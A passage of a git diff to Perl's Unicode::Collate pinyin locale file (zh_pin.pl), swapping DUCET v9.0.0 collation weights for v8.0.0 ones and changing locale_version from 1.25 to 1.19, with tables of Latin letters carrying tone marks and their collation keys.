WITH GRAVE +0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE +00CC ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE +006D 0304 ; [.1D25.001C.0002] # +004D 0304 ; [.1D25.001C.0008] # +1E3F ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE +006D 030C ; [.1D25.001E.0002] # +004D 030C ; [.1D25.001E.0008] # +006D 0300 ; [.1D25.001F.0002] # +006D 0340 ; [.1D25.001F.0002] # +004D 0300 ; [.1D25.001F.0008] # +004D 0340 ; [.1D25.001F.0008] # +006E 0304 ; [.1D34.001C.0002] # +004E 0304 ; [.1D34.001C.0008] # +0144 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE +0148 ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON +01F9 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE +014D ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON +00F3 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE +01D2 ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON +00F2 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE +016B ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON +00FA ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE +00DA ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE +01D4 ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON +01D3 ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON +00F9 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE +00D9 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE +01D6 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +00FC 0304 ; [.1E30.0021.0002] # +00DC 0304 ; [.1E30.0021.0008] # +01D8 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +00FC 0301 ; [.1E30.0022.0002] # +00FC 0341 ; [.1E30.0022.0002] # +00DC 0301 ; [.1E30.0022.0008] # +00DC 0341 ; [.1E30.0022.0008] # +01DA ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +00FC 030C ; [.1E30.0023.0002] # +00DC 030C ; [.1E30.0023.0008] # +01DC ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +00FC 0300 ; [.1E30.0024.0002] # +00FC 0340 ; [.1E30.0024.0002] # +00DC 0300 ; [.1E30.0024.0008] # +00DC 0340 ; [.1E30.0024.0008] # +00FC ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS E2D8 ; [.8EAB.0020.0002] # E2D9 ; [.8EAC.0020.0002] # E2DA ; [.8EAD.0020.0002] # diff --git a/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl b/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl index d7447002f7ca..1017527dfd19 100644 --- a/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl +++ b/cpan/Unicode-Collate/Collate/Locale/zh_pin.pl @@ -1,214 +1,214 @@ use Unicode::Collate::CJK::Pinyin; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::Pinyin::weightPinyin, - entry => <<'ENTRY', # for DUCET v9.0.0 -0101 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E1 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -01CE ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -00E0 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0113 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -00E9 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -011B ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -00E8 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -00EA 0304 ; [.1CAA.0021.0002] # -00CA 0304 ; [.1CAA.0021.0008] # -0065 0302 0304 ; [.1CAA.0021.0002] # -0045 0302 0304 ; [.1CAA.0021.0008] # -1EBF ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -00EA 0301 ; [.1CAA.0022.0002] # -00EA 0341 ; [.1CAA.0022.0002] # -00CA 0301 ; [.1CAA.0022.0008] # -00CA 0341 ; [.1CAA.0022.0008] # -00EA 030C ; [.1CAA.0023.0002] # -00CA 030C ; [.1CAA.0023.0008] # -0065 0302 030C ; [.1CAA.0023.0002] # -0045 0302 030C ; [.1CAA.0023.0008] # -1EC1 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -00EA 0300 ; [.1CAA.0024.0002] # -00EA 0340 ; [.1CAA.0024.0002] # -00CA 0300 ; [.1CAA.0024.0008] # -00CA 0340 ; [.1CAA.0024.0008] # -00EA ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC5 ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -012B ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -00ED ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -01D0 ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -00EC ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -006D 0304 ; [.1DAA.001C.0002] # -004D 0304 ; [.1DAA.001C.0008] # -1E3F ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -006D 030C ; [.1DAA.001E.0002] # -004D 030C ; [.1DAA.001E.0008] # -006D 0300 ; [.1DAA.001F.0002] # -006D 0340 ; [.1DAA.001F.0002] # -004D 0300 ; [.1DAA.001F.0008] # -004D 0340 ; [.1DAA.001F.0008] # -006E 0304 ; [.1DB9.001C.0002] # -004E 0304 ; [.1DB9.001C.0008] # -0144 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0148 ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -01F9 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -014D ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -00F3 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -01D2 ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -00F2 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -016B ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON -00FA ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE -00DA ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE -01D4 ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON -01D3 ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON -00F9 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0300 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -0075 0340 ; [.1EB5.001F.0002] # LATIN SMALL LETTER U WITH GRAVE -00D9 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0300 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -0055 0340 ; [.1EB5.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE -01D6 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -0075 0308 0304 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -0055 0308 0304 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -00FC 0304 ; [.1EB5.0021.0002] # -00DC 0304 ; [.1EB5.0021.0008] # -01D8 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0301 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -0075 0308 0341 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0301 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -0055 0308 0341 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -00FC 0301 ; [.1EB5.0022.0002] # -00FC 0341 ; [.1EB5.0022.0002] # -00DC 0301 ; [.1EB5.0022.0008] # -00DC 0341 ; [.1EB5.0022.0008] # -01DA ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -0075 0308 030C ; [.1EB5.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0055 0308 030C ; [.1EB5.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -00FC 030C ; [.1EB5.0023.0002] # -00DC 030C ; [.1EB5.0023.0008] # -01DC ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0300 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -0075 0308 0340 ; [.1EB5.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0300 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -0055 0308 0340 ; [.1EB5.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -00FC 0300 ; [.1EB5.0024.0002] # -00FC 0340 ; [.1EB5.0024.0002] # -00DC 0300 ; [.1EB5.0024.0008] # -00DC 0340 ; [.1EB5.0024.0008] # -00FC ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1EB5.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1EB5.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS + entry => <<'ENTRY', # for DUCET v8.0.0 +0101 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON +0100 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON +00E1 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE +00C1 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE +01CE ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON +01CD ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON +00E0 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE +00C0 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE +0113 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON +0112 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON +00E9 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE +00C9 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE +011B ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON +0065 